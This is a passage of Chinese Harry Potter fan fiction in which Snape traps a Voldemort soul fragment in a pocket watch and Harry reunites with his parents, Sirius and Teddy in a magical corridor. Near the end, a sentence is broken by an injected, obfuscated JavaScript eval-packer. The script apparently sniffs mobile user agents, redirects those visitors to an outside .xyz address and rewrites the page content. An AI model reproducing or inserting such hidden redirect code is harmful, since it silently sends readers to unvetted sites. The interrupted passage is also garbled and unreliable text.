银光如闪电般爆发,随后,一头牝鹿优雅地跃出,轻盈地落在地面上。它比卢平的狼更加明亮,银色的光辉几乎照亮了整个塔顶。 卢平倒吸了一口凉气。他盯着那头牝鹿,一时间说不出话来。 “你的守护神……”他开了个头,不确定自己该不该问下去。 “西弗的守护神和哈利是一对的!”泰迪好像看出了他的疑问,兴奋地说道,“哈利的守护神是牡鹿!” 卢平的眼睛瞪大了。他看着斯内普,又看着那头牝鹿,然后又看回斯内普。 “梅林啊。”他低声说,眼中充满了震惊,“你是认真的。你真的……完全地……” 斯内普没有回应,只是沉默地注视着自己眼前的守护神。他知道卢平在想什么——守护神的形态代表着最深的情感联系。 在他呼唤出来的那一瞬间,他就已经猜到了会是这个形态。他不需要卢平的确认,也不需要任何人的认可。这是他和哈利之间的事。 “我也要试试。”泰迪说,他抬起颤抖的手。 “泰迪,你还太小——”卢平想要阻止,“守护神咒是N.E.W.T.级别的魔法——” “让他试。”斯内普说,目光从牝鹿身上移开,“他比你想象的要强大。” 泰迪点点头,闭上眼睛。随着他平稳的呼吸,棕色的头发逐渐闪烁出金光。 “呼神护卫!”他用尽全力喊出。 起初,什么都没有发生。随后,一团银色光雾从他掌心喷出,渐渐在空中凝聚成形。 一头小狼跃了出来。 那是一头活泼的小狼,比卢平的狼体型小很多,看起来还很稚嫩,但它的形态却十分完整。它先是亲昵地蹭了蹭那头成年公狼,又跑去绕着那头银色的牝鹿转圈。 “梅林啊……”卢平简直不敢相信,“泰迪,你……你才二年级……” “是二年级。”泰迪骄傲地回答,脸色因用力过度而略显苍白,“但我做到了!哈利教我的,我一直在练习!” 三个守护神齐齐冲向阴影。银光与黑暗碰撞,发出刺耳的尖啸。原本盘踞在钟面的巨大阴影,在三只守护神联合攻击下,痛苦地扭曲收缩,触手一根根断裂,化作黑烟消散。 “坚持住!”斯内普咬牙,感觉到魔力在快速流失。 然而,阴影突然反击了。一根巨大的触手横扫过来,速度快得几乎看不清。斯内普看到了,第一反应是推开泰迪。 “小心!” 他用力推了男孩一把,自己则被触手重重击中。巨大的冲击力让他整个人飞了出去,后背狠狠撞在墙上。 “西弗!”泰迪尖叫着爬起来。 牝鹿立刻消失了。没有了它的支撑,两头狼明显处于劣势,不得不节节后退。 斯内普挣扎着想要站起来,刚一动就感觉胸腔里一阵剧痛。他咳嗽了一声,一手按住胸口,另一只手撑在地上。 手掌下触碰到了一个硬物。 他挪开手,一块漆黑的怀表静静躺在那里。 他几乎忘了它的存在——那块从时间坟场带出来的怀表,在刚才的撞击中从袍子口袋里滚了出来。 S.S.1960-1998。 斯内普拿起怀表,盯着那个刻字。那是另一个时间线的自己,为了哈利而死的人,那个哈利永远不会忘记的人。 “既然你都死了,”他自嘲地对怀表低语,“就让你的死亡派上点用场吧。” 他忍着胸口的剧痛重新站起来。这一次,他想的不只是哈利,还有那个他永远成不了的人。 恨意涌上心头——对自己的恨,对命运的恨,对这个该死的时间的恨。那个斯内普做到了,他守护了哈利一生,而自己呢?他不得不对哈利施展钻心咒,让他痛苦,让他受伤。 但同时,守护的决心如火焰般在他的灵魂深处燃烧。如果那个斯内普能为哈利付出一切,那么他也能。不,他要活着守护哈利,要让他知道——他不会像那个人一样死去,他会活着,一直陪着他。 牝鹿重新出现,它低下头,猛地冲向阴影,用头部狠狠撞击。 三个守护神合力,终于将阴影逼到了角落。那黑暗的体积肉眼可见地变得越来越小,它缩小成拳头大小的一团,但即使这样,它依然在挣扎,不甘地蠕动着。 守护神们完成了任务,化作银色的光点消散了。 “成功了。”卢平喘着气说。 “还没有。”斯内普的视线没有离开那团黑暗,“它只是被削弱了,没有办法把它彻底消灭。” 他知道机会只有一次。他冲上前,在卢平和泰迪惊愕的注视下,一把抓住了那团蠕动的黑暗。 冰冷刺骨的恶意瞬间侵入他的意识。那东西在他掌心疯狂地挣扎,发出无声的尖啸。与此同时,他左臂上的黑魔标记骤然灼痛起来。黑暗想要腐蚀他的手,钻进他的身体。斯内普甚至能看到自己手背上的皮肤下,黑色的脉络像蛇一样游走,顺着手臂向上蔓延,似乎要与他左臂上的标记形成共鸣,将他彻底吞噬。 斯内普的脸色又白了几分,冷汗瞬间湿透了后背。可他只是咬紧牙关,另一只手按开怀表的表盖。里面是空的,只有两根永远停止走动的指针。 “进去。”他咬着牙说,把阴影强行往怀表里塞,“这是你该待的地方。你就该和那个死去的时间一起,永远被困在过去。” 那团黑暗——伏地魔的灵魂碎片,仍在疯狂扭动挣扎。但斯内普死死抓着它,不让它有任何逃脱的机会,一点一点地将它塞进怀表中。 怀表像具有某种吸力。碎片的挣扎越来越弱,最终被完全吸入那个小小的空间。 咔哒。 他猛地合上了表盖。怀表在他手中剧烈震动了几秒,然后彻底平静下来。 斯内普低头看着这块再普通不过的黑色怀表,谁也想不到里面关着一片邪恶的灵魂,被永远囚禁在一个已经死去的时间里。 整个空间开始崩塌。 整座时钟塔发出了震耳欲聋的哀鸣。脚下的平台开始崩塌,周围悬浮的齿轮和发条像雨点般落下。 “抓住我!”斯内普喊道。 卢平和泰迪冲过来,紧紧抓住他的胳膊。 刺眼的白光从破碎的钟面中爆发。斯内普闭上眼睛,感觉到那种被抛离的拉扯感。 在意识的边缘,他看到了一道门。 漆黑的铁质门框在光芒中若隐若现,上面的符文缓缓流动,最终凝结成四个字: 罪罚之间。 130. 门外重聚 哈利推开水晶门,银色的光芒在身后渐渐消散。 回廊中心的巨大齿轮依旧缓慢而有节奏地转动着,他站在悬浮的走廊上,一时间竟分不清自己身在何处。那些涌入脑海的记忆,无论是跨越了几个世纪的遥远过往,还是被他刻意尘封多年的往事,此刻都如滔天巨浪般翻涌不息,让他感到一阵眩晕,好一会儿才找回现实的实感。 他定了定神,刚踏出一步,便看见大厅中央的三道身影。詹姆斯、莉莉和邓布利多围成一个小圈,詹姆斯正激动地对邓布利多说着什么,双手在空中挥舞。莉莉站在他身边,手轻轻搭在他的臂上。老校长静静地听着,偶尔点头,手指轻抚过长长的银须。 是莉莉第一个注意到他。她的绿眼睛瞬间亮起,急切地推了推还在说话的詹姆斯,自己已经跑了过来。 “哈利!” 还没等哈利反应过来,就被母亲那温暖而熟悉的气息完全包裹。詹姆斯愣了一下才反应过来,连忙跟上,把母子俩都圈在怀里。 哈利被勒得有些喘不过气,“发生什么了?” 莉莉的脸深深埋在他的肩膀上,肩膀不停地颤抖着。詹姆斯的呼吸也变得不稳。 “妈妈?”哈利轻轻拍着母亲的背,试图扭头看詹姆斯,“爸?到底怎么了?” 莉莉更用力地抱紧了他。好一会儿才抬起头,绿眼睛里满是泪水。她的手抚上哈利的脸颊,拇指轻轻擦过他的颧骨。 “我们看到了。”她一边说,一边眼泪流得更凶了,“我们都看到了。” “看到了什么?”哈利困惑地看着她。 “德思礼家,还有——”她顿住,忽然捂住了嘴。 詹姆斯看了妻子一眼,他的脸色异常难看,声音也带着几分压抑的怒火,“我们看到了那个该死的楼梯间。”他的拳头握得咯咯作响,“如果我能做点什么——” “詹姆斯。”莉莉抓住他的手,阻止了他继续下去。 哈利感到浑身不自在,那些不堪的童年时光,正被父母毫无保留地摊开,让他下意识地想要后退,却被他们的怀抱牢牢圈住,动弹不得。 “我没事的。”他急忙说,“真的,那些都过去了——” 莉莉察觉到了他的退缩,语气柔和下来:“对不起,亲爱的。我知道你不愿再提这些,可是——” “我需要知道,哈利。”她稍微松开他,改为紧紧握住他的手,“这些日子,自从知道真相后,我一直在想你是怎么长大的。没有我们的陪伴,你是怎么独自面对一切的……回廊让我看到了真相。很多次我觉得自己快撑不下去了,但我还是感激——至少现在,我能陪着你走过那些路,哪怕只是作为一个迟到的旁观者。” 她再也说不下去了,转过脸靠在詹姆斯肩上。詹姆斯默默地揽住她的肩膀,接过话,“哈利,你还记得厄里斯魔镜吗?” 哈利愣了一下,没明白詹姆斯为何忽然提起那面镜子。 “那面镜子。”詹姆斯眼中泛红,“我们看到你坐在它前面,一直看着镜子里的我们。” “什么?”哈利的脑子停摆了。 “后来在墓地,”詹姆斯声音越来越哑,“还有禁林,我们看着你一个人面对伏地魔……” “你们……你们都看到了?”哈利胸口泛起一阵酸涩。原来回廊让父母看到了他最脆弱和孤独的时刻。 莉莉再也无法控制情绪,扑进哈利的怀里,像个孩子般哭得几乎喘不过气来。 “对不起。”她泣不成声,“对不起,宝贝。每一次你最需要我们的时候,我们什么都做不了——” 詹姆斯的手按在哈利的后颈上,额头抵着他的额头:“对不起。对不起让你一个人承受了那么多。对不起我们只能看着——” “别说对不起。”哈利的眼泪也开始滑落,“那些都过去了。” 他们就这样抱了很久。终于,莉莉稍微平静了一些。她松开哈利,用袖子胡乱擦着脸上的泪水,努力露出一个笑容。 “还有一件事。”她看了詹姆斯一眼,詹姆斯握住她的手,轻轻点头。 “他来跟我们道别了。”莉莉的眼泪又涌了出来。 哈利只觉得胸口像被什么东西狠狠撞了一下。他在一瞬间就明白了莉莉说的“他”是谁。 “那么小的孩子,那么勇敢。”莉莉紧紧抓着他的手,“他说——他让我们告诉你——你值得被爱。一直都值得。” “他真的这么说?他没——”怪这个从未来闯入的自己,怪他夺走了原本属于他的未来? 仿佛猜到哈利心中所想,詹姆斯低声说,“他比我勇敢多了,比我这个做父亲的看得更透彻。他知道你们本来就是一体的,你们的灵魂是一样的。” “他还说——”莉莉抚摸着哈利的脸,“说你会是个好哥哥。会保护黛西,教她飞行,陪她去对角巷。所有他没机会做的事,他相信你会做到。” 哈利闭上眼睛。那个十二岁的自己,不仅没有怨恨,反而以他的宽容与爱,给了哈利最珍贵的礼物。那不是原谅,因为从没有什么是需要被原谅的。 “谢谢你们。”他轻声说,“也……谢谢他。我会的。我会照顾好黛西,做个好哥哥。” “我们知道。”詹姆斯的手在他头发上揉了揉,就像他小时候一直渴望的那样,“我们的儿子——两个儿子,都是最棒的。” 邓布利多轻咳了一声。 三个人这才想起还有其他人在场。莉莉有些窘迫地擦了擦脸,詹姆斯则悄悄背过身,用手背抹了抹眼睛。 “我很抱歉打断这个美好的时刻。”邓布利多温和地说,蓝眼睛透过半月形眼镜凝视着他们,“不过,詹姆斯,莉莉——” “也许现在是时候告诉哈利关于厄里斯魔镜的事了。”他抚摸着胡须,目光转向哈利,“毕竟,这个发现对我们理解整个局面至关重要。” 哈利疑惑地看着几人——他以为刚刚那已经是父母经历的全部。 “哈利,”莉莉先开口,“那面镜子,我们发现它的镜框铭文变了。” “变了?” “我们看不懂具体内容,是一种从未见过的古老魔文,但是——”她看向邓布利多。 “考虑到你父母那些经历,”邓布利多缓缓点头,“我们讨论后一致认为,厄里斯魔镜,就是米拉之镜——四个时间圣器之一。” 哈利感觉脑子里有什么东西咔嗒一声对上了。 那面镜子。那面他一年级时夜夜造访、让他既痴迷又痛苦的镜子。 原来它不只是展示心中渴望的魔法物品,竟然还是时间圣器? “可是——”哈利向后退了两步,站在悬浮走廊的中央,“我去年又看到了它,这次为什么我只能看到自己的身影?” 邓布利多没有立即回答,似乎陷入了沉思。 “我想,”他缓缓说道,蓝眼睛透过半月形眼镜凝视着哈利,“那是因为你已经是一个时间旅行者了。镜子认出了你,哈利。对于已经跨越时间的人来说,它脱下了那层伪装。可惜当时你对时间圣器一无所知,自然不会有更多的想法。” 哈利皱起眉:“可是——” “最重要的是,”邓布利多打断了他,“厄里斯魔镜作为时间圣器,它真正的能力远超我们的想象。它在展示内心渴望的同时,连接着不同的时间。” 哈利还是有些不解:“你是说,镜子能让人看到过去?” “不,哈利。你曾经看到的父母,”邓布利多答道,“他们不是幻象。” 哈利愣住了:“什么?” “他们是真的,哈利。镜子把他们拉了进去——就像现在,在这个回廊里一样。” 哈利的脑袋突然一片空白。 “你是说——”他结巴着开口,“他们不是在回廊里看到了我的记忆,而是真的——” “我们真的在那里,哈利。”詹姆斯的声音越来越哑,“每一次。梅林啊,儿子,当你坐在镜子前时,我们就在镜子的另一边看着你。还有当我从伏地魔的魔杖里复生,我有那么多话想说,可时间太短了——” “禁林里也是。”莉莉红肿的眼睛盯着哈利,“我们真的走在你身边,陪你走向……走向——”她说不下去了。 哈利的腿突然失去了力气。 詹姆斯立刻伸手扶住他:“哈利!” 哈利抬头看着自己的父亲,又看看母亲,这么多年来,他一直以为那些只是魔法的幻影,是他内心渴望的投射。但现在—— “你们真的在那里?”他又问了一遍,带着一丝梦游般的迷茫,“每一次?不是虚假的幻影?” 詹姆斯扶着他慢慢坐到地上。莉莉也立刻蹲下来,抬手去碰触哈利的脸。 “从来都不是幻影。”詹姆斯蹲在他身边,一只手搭在他肩上,“哈利,每一次你需要我们的时候,我们都在。只是我们改变不了过去……” 哈利双手捂住脸,肩膀开始颤抖。那些孤独的时刻,原来并不孤单——这个发现让他既想笑又想哭。 莉莉把他拉进怀里,“哈利,我们真的在。一直都在。” 他们就这样在地上坐了一会儿。当哈利再次抬起头,眼眶还是红的,但神情已经平静了许多。 詹姆斯和莉莉先站起来,一起伸手拉起哈利。 “那面镜子……”哈利清了清嗓子,“厄里斯魔镜现在在哪里?它还在霍格沃兹吗?” 邓布利多缓缓摇头,“很遗憾,去年它就被转移了。至于现在......”他露出一个歉意的微笑,“连我也不能完全确定。不过既然知道了它的真实身份,要找到它应该不会太困难。” 哈利的心中有些失落,但至少找到了一个时间圣器的线索,这已经是意外的收获。他看向邓布利多:“那你呢,阿不思?你进的是哪扇门?” 邓布利多的眼睛在半月形眼镜后闪了闪:“回廊似乎认为我们每个人都需要面对不同的东西。我去了另一个地方,一个充满了......可能性的地方。”他顿了顿,“很有启发性,虽然我必须承认,我更喜欢现实中的羊毛袜。它们更温暖,也更......实在。” 哈利皱起了眉头。每当邓布利多不想谈论什么时,总是会扯到些奇怪的东西上。 “哈利,”老人转移了话题,“你在门里,找到了你想要的东西吗?” 哈利看了他一眼,决定也不追问了:“找到了一些。四兄妹留下的记忆,虽然都是些零散的片段。” “可就算是残留的记忆,那些内容还是太庞杂了,很多东西连我自己都还没完全理解。我想格林德沃也许能帮我理清——毕竟他对时间法则的理解比任何人都深。” 一听到格林德沃的名字,莉莉就不安地抓紧了哈利的手。邓布利多只是看着他,没有追问细节,只是微微点头。 “我相信你的判断,哈利。不过现在——”老人转过身,“我们还有一个小小的……状况。” 哈利跟了过去,当他看清地上的东西时,整个人都僵住了。 一个丑陋的婴儿蜷缩在那里,灰白色的皮肤上布满血管般的纹路,偶尔抽搐一下,发出微弱的呜咽。 “这不可能。”哈利退了一步,“它应该留在国王十字车站的,它怎么会——” “我们把它带出来了。”詹姆斯走到他身边,“我和你妈妈看到了它被留在那里。我们觉得,既然回廊让我们看到它,就像让我们看到厄里斯魔镜一样,一定有它的道理。 哈利一脸难以置信地看向父亲,“可你们是怎么做到的?” 詹姆斯摊开手掌,掌心有几道深深的抓痕,“我们没有魔杖,只能用手。” 哈利猛地抓住父亲的手腕,翻看那些伤痕:“你疯了吗?那是伏地魔的——” “灵魂碎片,我知道。”詹姆斯另一只手覆上哈利的手背,“它想腐蚀我的意识,但你妈妈帮我一起,它没成功。” “我们终于能为你做点什么了。”莉莉轻声说,“哪怕只是这么一点。” 哈利看着父亲手上的伤痕,喉咙堵得说不出话来。他们为了他,竟然徒手抓住了伏地魔的灵魂碎片。 “你们不该冒这个险。”哈利低声说。 “你是我们的儿子。”詹姆斯简单地说,“如果这能帮到你,什么险都值得。” “现在的问题是,”邓布利多仔细地观察着那个生物,“我们该如何处理这个意外的‘客人’。” “毁掉它。”詹姆斯的回答干脆利落,“彻底毁掉。” “这是我体内的那片,对吗?”哈利问道,“那就必须消灭它。只要它还在,我就……” 他话只说了一半,但所有人都明白。只要这片灵魂还在,哈利就永远无法真正摆脱伏地魔的阴影。 “问题是我们用什么去摧毁它。”詹姆斯提了一个新的问题,“在这里,我们没有魔杖。” “也许,”邓布利多若有所思地说,”回廊自有它的安排。“他环顾四周,“说起来,我们七个人都被福克斯带了进来,现在还有三个人没出来。让我想想——哈利,你进的是记忆潮汐。詹姆斯,莉莉,你们去了往昔残影。我进的是未竟之痕……” “那么西弗勒斯、莱姆斯和小天狼星,”他看向那扇缠满锁链的黑铁门,“说不定都在罪罚之间。” 哈利的心跳快了起来。 西弗勒斯。 那些刚刚找回的记忆太过鲜活——他曾经爱过斯内普。在另一个时间线里,爱着一个已经死去的人。那份感情持续了多年,在无数个深夜里折磨着他,直到痛苦到必须遗忘才能继续前行。 而现在,斯内普就站在那扇门的另一侧。活着的斯内普,他会吻他,会在他需要时站在他身边。这是属于他的斯内普。 两份感情在哈利的胸口剧烈碰撞,让他感到一阵眩晕。那是同一个灵魂,却又带着不同的经历。一个是他永远无法触及的过去,一个是他正在拥有的现在。 “等等。”詹姆斯的声音把他从思绪中拉回现实,“大脚板和斯内普在同一扇门里?” “希望莱姆斯能拉住大脚板,如果他冲动起来的话。”莉莉担忧地说。 哈利走到黑铁门前,试图推开它。锁链发出细微的摩擦声,门依然纹丝不动。 邓布利多身后忽然传来一声轻响。 雾蒙蒙的玻璃门缓缓打开,小天狼星从门后走了出来。 所有人都愣了一下。 “大脚板?”詹姆斯惊讶地看着他,“你怎么会从这扇门——” 小天狼星站在门口,看着詹姆斯,眨了好几次眼,像是在确认什么。然后他大步走过来,一把抱住了詹姆斯。 詹姆斯被这个突如其来的拥抱搞懵了:“大脚板?怎么了?” “没什么。”小天狼星拍了拍他的背,声音有些哑,很快就松开了,“在那扇门里待太久,看到活人真好。” “说得好像我们是鬼魂似的。”詹姆斯笑着回应,顺势回拍了他一记。 小天狼星笑了笑,但那笑容有些勉强。他转头和莉莉打了招呼,然后看向邓布利多。 两人的目光碰撞了一瞬。 邓布利多微微偏了偏头,轻声说:“能出来……很不容易。” 小天狼星的下巴绷紧了一下,但很快就看向另一边:“是啊,那些东西……”他没有说完,揉了揉眼睛。 邓布利多没有追问。他只是看了小天狼星片刻,然后温和地点了点头。 小天狼星走到哈利面前,上下打量着他,手在他肩膀上用力捏了捏。 “小天狼星?”哈利皱了皱眉,“你还好吗?” “当然。”他的教父清了清嗓子,“在门里呆久了,有点头晕。” “你在门里看到了什么?”哈利问。 小天狼星似乎没注意到他的问题,目光钉在地上的灵魂碎片上,“这是什么鬼东西?” 詹姆斯简单解释了他们的经历。小天狼星的脸色变得越来越难看。 “必须毁掉它。”小天狼星语气果断,“不管用什么方法。” 他们围着那个灵魂碎片又讨论了一会儿,提出了各种方案,但在这个特殊的空间里,没有魔杖,也没有摧毁魂器的工具。 “或许,”邓布利多若有所思地说,“我们想错了方向。” “什么意思?”詹姆斯眉头一挑。 “我们一直在想如何处理这个不速之客,”老人的目光扫过整个回廊,“却忘了问,为什么回廊要让它出现在这里。” 他走到一个巨大的齿轮前,伸手轻触青铜色的金属:“这座回廊存在了多久?几百年?上千年?四兄妹建造它的真正目的是什么?为什么是现在,为什么是我们?” “你是说......”莉莉好像明白了什么,“回廊把我们带进来,让我们各自进入不同的门,看到不同的东西,这一切都是有意为之?” “我赞同你的看法,莉莉。”邓布利多露出一个微笑,“也许我们该先试着了解这个地方。” 哈利心不在焉地听着,注意力一直在黑铁门上。斯内普还在里面。他走过去又推了推门,依然纹丝不动。 小天狼星走到他身边:“别担心,不会有事的。” 哈利转头看他。小天狼星看起来和进去前没什么两样,但他心里总有种说不出的感觉。 “小天狼星,你确定你没事?” 小天狼星盯着他看了几秒,抬手揉了揉太阳穴:“等这里的事结束后,我们需要谈谈。有些重要的事。” “什么事?” “不是现在。”小天狼星摇头,但他抓住哈利的手腕,力道有些大,“晚点再说。” 哈利没再多问,点头应下了。 突然,黑铁门发出一声震耳欲聋的轰鸣。 两人顿时警觉地后退两步,看着锁链一根接一根地脱落,厚重的门板向外慢慢打开,一股冰冷的黑雾汹涌而出。三个身影从黑雾中跌撞着走了出来。 斯内普第一个出现,平时一丝不苟的黑袍破了好几处,袖口还在冒着黑烟。他的脸色苍白得吓人,额角有一道血迹渗出,顺着鬓角蜿蜒而下,显得狼狈而疲惫。 哈利的心一紧,下意识地向前迈了一步。不过当他看到跟在同样精疲力尽的卢平身后的第三人时,大吃了一惊。 “泰迪?” 男孩的头发原本变得灰扑扑的,可哈利一叫他,头发的颜色立刻随着他的心情又明亮了起来。 “哈利!”泰迪松开卢平的手,跑过来扑进哈利的怀里,“你不会相信的!我召唤出守护神了!真正的守护神!” “什么?”哈利一把扶住摇晃的男孩,“慢点,你怎么会在这里?” “应该是福克斯把他拉进来的。”卢平在后面疲惫地解释,揉了揉太阳穴,“我们进去后发现他已经在里面了。” 泰迪喘着气,眼睛亮晶晶的,“然后我们遇到了那个东西——特别可怕的黑影,然后我们召唤守护神,我成功了!是一只小狼!” “二年级就能召唤出完整的守护神?”哈利揉着男孩的头发,语气里满是骄傲,“连很多成年巫师都做不到,你比我当年还厉害。” 泰迪的脸红了,但笑容更加灿烂。 哈利抱着泰迪,视线不由自主地越过男孩的肩膀。 斯内普站在几步之外,正低头检查袍子上被烧焦的破洞。黑发垂下来挡住了侧脸,看不清表情。 也许是感觉到了哈利的目光,他抬起头。 他们的目光相遇了不到一秒。哈利慌忙移开视线,低下头,手指拨弄着泰迪已经变回棕色的头发,心跳快得不正常。 他在心里骂了自己一句。搞什么,他们明明已经那么亲密了,他为什么还要躲?只是因为想起了一些旧事就不敢看西弗勒斯了?真是太蠢了。 泰迪在他怀里扭了扭,小声问:“哈利,你还好吗?” “当然。”哈利清了清嗓子,“只是担心你们。” 男孩珀色的眼睛狐疑地看着他,然后又瞄了一眼不远处的斯内普,露出不太相信的神色。 “西弗勒斯,你在流血。”莉莉快步走过来,担忧地看着斯内普额角的伤口。 “皮外伤。”斯内普后退了半步,避开她伸过来的手,“不碍事。” 哈利忍不住又偷偷瞄了一眼,发现斯内普已经转过身,背对着他们,专注地研究着地上的灵魂碎片。 他一时不知道该感到松口气,还是失落。 “你们到底遇到了什么?”小天狼星走到卢平身边,扶住摇摇欲坠的好友,“需要召唤守护神……你们遇到摄魂怪了?” “我倒宁愿对付一百只摄魂怪。”卢平苦笑着摇头,“那东西……不是摄魂怪能比的。” “但我们打败它了!”泰迪骄傲地挺起胸脯,“三个守护神一起!西弗的守护神特别厉害,是一只——” “泰迪。”斯内普突然开口打断了他。 男孩立即闭上嘴,偷偷对哈利眨眨眼。哈利刚想问什么,却发现斯内普正好也在看他。两人的目光撞上,又同时移开,气氛瞬间变得很微妙。 泰迪凑到哈利耳边悄悄说:“哈利,你和西弗吵架了吗?” “没有。”哈利低声回答,“为什么这么问?” “因为你们都不看对方。” 哈利不知道该怎么回他。泰迪像个大人一样叹了口气,从他怀里挣脱出来:“我去看看爸爸。” 男孩跑开后,哈利才注意到斯内普正站在几步之外,也没有再看过来,皱着眉不知道在想什么。哈利看着那道还在渗血的伤口,犹豫了一下,摸了摸后脑勺,慢慢蹭了过去。 “你的额头……”他盯着斯内普的肩膀说话,“还在流血。我帮你处理一下?” 斯内普用袖口随意抹了一下额角,“没事。”他沉默了几秒,然后从袍子内袋掏出什么,朝哈利伸出手,掌心向上。 一块黑色的怀表静静躺在那里。 “给你的。”斯内普说,视线已经移到了旁边的墙上。 哈利愣了一下才接过来,有些摸不着头脑。 “这是——”他低头看着手中的怀表,怀表很沉,表面光滑冰冷,除了那条蛇没有多余的装饰。他翻过来,背面刻着一行小字: S.S.1960-1998 他的手开始发抖。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308399|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头看向斯内普,张了张嘴,却不知道该说什么。 “这是?”詹姆斯帮他问了出来。 “那扇门里有个广场,”卢平解释,“里面到处都是这样的钟表。我们的推测是,每一个都代表着一个被时间抹去的生命。” 泰迪从口袋里掏出一个小巧精致的金表,走到詹姆斯和莉莉面前:“莉莉阿姨,詹姆斯叔叔,这个……我想应该给你们。” 莉莉茫然地接过金表,翻到背面。当她看清上面的刻字时,一下子就怔住了。 H.P.1980-1992 “哈利……”她的手指颤抖着划过刻痕,泪水顺着脸颊滑落,落在了金表上。詹姆斯一把搂住她,自己的眼眶也迅速泛红。 哈利注视着莉莉手中的金表,又低头看向手中的黑色怀表,心情复杂到无法形容。这是另一个斯内普的生命印记,而给他的是现在的这个斯内普。 “所以这是……”他勉强问道,“纪念品?” 斯内普冷笑一声:“如果你觉得黑魔王的灵魂碎片值得纪念的话。” “什么?” 这句话让所有人都警觉起来。 “也许你可以解释一下,西弗勒斯?”邓布利多的表情变得严峻,蓝眼睛紧盯着那块怀表。 斯内普却好像懒得再开口,他瞥了卢平一眼,后者露出一个无奈的笑容。 “说来话长,我来解释吧。”卢平主动接过这个工作,简单描述了他们在时钟塔的遭遇——他们怎么发现那个巨大的阴影,三个守护神的战斗,以及斯内普如何把那团黑暗封进了怀表。 “慢着,”詹姆斯指着地上那个丑陋的东西,“如果关在怀表里的是伏地魔的灵魂碎片,那这个是什么?” 小天狼星眉头紧蹙:“等等,你们是说现在有两个灵魂碎片?” 房间里安静了几秒。 邓布利多走到两个灵魂碎片之间。他先看了看那个丑陋的婴儿,又转过头观察哈利手中的黑色怀表,蓝眼睛在镜片后眯了起来,“有意思。”他轻声说,“非常有意思。” “别打哑谜了,阿不思。”詹姆斯急切地问,“你发现了什么?” “时间穿越的代价。”邓布利多喃喃道,“我们一直知道哈利体内的灵魂碎片在时间旅行的过程中复苏了。但我们忽略了一件事。” 他停顿片刻,扫视了一圈在场的人。 “伏地魔寄居在哈利体内的碎片,也许在复生的同时,被时间之力撕成了两半。” 莉莉倒吸一口气:“你是说——” “这一部分,”邓布利多指向地上的婴儿,“被留在了国王十字车站,那个生与死的边界。而另一部分——”他看向哈利手中的怀表,“它不属于这个时间,所以成为了时间扭曲的产物,被罪罚之间捕捉。” “所以现在我们有两个?”小天狼星皱眉,“这是好事还是坏事?现在该怎么办?” “毁掉它们。”詹姆斯毫不犹豫地说。 “或者利用它们。”哈利突然开口。 所有人都看向他。 哈利盯着手里的怀表,一个想法如同一簇微弱的火苗,在他脑海中迅速燃烧起来,“我有个想法。先把它们封存起来吧。” “福克斯!”他高声喊道。 金红色的光芒在大厅中央爆发,凤凰凭空出现,优雅地落在哈利肩上。 “我们都出来了。”哈利对凤凰说,“可以送我们回去吗?” 福克斯点点头,发出一声清脆的鸣叫。 “等等。”哈利举起怀表,“这些东西能一起带出去吗?” 福克斯歪着脑袋思考了一下,再次鸣叫了一声。邓布利多在一旁轻声解释:“怀表可以,但灵魂不行——它必须被容器束缚。” “那就把另一个碎片也封进表里。”哈利说,“但这块怀表已经用了……” 莉莉慢慢举起手里的金怀表,“用这个吧,哈利。” “不!”哈利立刻反对,“妈妈,不能用那个。” “为什么不能?”莉莉轻声问,“哈利,他已经走了。这个碎片必须被封印。如果这个怀表能帮到你,能帮我们永远解决这个威胁——” “他会愿意的。”詹姆斯走到妻子身边,从她手中接过怀表,“就像他愿意离开,让你能够留下一样。他是个勇敢的孩子,哈利。勇敢又无私,就像你。” 哈利盯着那个金色的小怀表,好像看到了另一个自己。 “让我来。”他轻声说。 “哈利——” “这是我的责任。”哈利坚定地说,从她手中取走那个金表,“这个碎片原本就在我体内。是我把它带到这个时间,也该由我来解决它。” 他走到地上的碎片旁,蹲下身。斯内普走到他的身边,“小心。它会反抗。” 哈利点头,打开金怀表,伸手一把捏住地上那个丑陋的东西。 碎片立刻开始尖叫,刺耳的声音让所有人都捂住了耳朵。黑色的烟雾升腾,缠绕着哈利的手臂,冰冷的恶意迅速试图侵入他的意识。 “哈利!”莉莉想要冲过去,被詹姆斯拉住了。 “让他做。”詹姆斯说,尽管他的手在颤抖,“相信哈利。” 碎片疯狂地挣扎,但哈利没有松手。他想起那个曾经幸福成长的另一个自己。 那个男孩本该值得更好的结局,而不是成为伏地魔灵魂的容器。 “为了另一个哈利。”他低声说,用尽全力把碎片塞进怀表。 随着金色的表盖合上,一切突然安静下来。两个灵魂碎片,被分别封印在两个怀表之中。 哈利跌坐在地上,全身虚脱一般大口喘着气。莉莉马上冲过去抱住他,詹姆斯也蹲下来,一家三口紧紧相拥。 “我们该走了。”邓布利多说,“这里不是久留之地。” 福克斯展开翅膀,金色的火焰包围了所有人。离开前,哈利的目光与斯内普再次交汇,这一次,两人谁也没有回避对方的眼神。 ———— 下一刻,他们回到了邓布利多办公室里。熟悉的环境让所有人都松了口气。墙上的肖像们都醒了,好奇地打量着他们。 他们在回廊里度过了漫长的时光,经历了生死和情感的巨大波澜,但在现实世界,却不过才一个多小时,连宵禁都还没开始。 “茶?”邓布利多温和地问道,挥动魔杖,一套精致的茶具凭空出现,“我想大家都需要一些温暖的东西。” 但斯内普已经大步走向门口。 “西弗勒斯。”哈利脱口而出。 斯内普停下脚步,没有回过头来。 哈利想说点什么——任何什么,但詹姆斯和莉莉都在,小天狼星警惕地盯着,卢平和泰迪也看着他们。他张了张嘴—— “明天。”斯内普硬梆梆地说,“如果有什么要说的,明天再说。”然后就匆匆离开了。 哈利站在原地,盯着那扇关上的门,直到脚步声完全消失在门后。 他低头看着手中的两块怀表——一黑一金,分别刻着S.S.1960-1998和H.P.1980-1992。这是两个被时间抹去的生命,也是两段无法挽回的过去,此刻都凝结在这冰冷的金属里,让它们变得无比沉重。 “阿不思,这两块——”他听到自己空洞地说。 “哈利。”邓布利多轻声问,“这两块怀表,我想你希望我保管?” 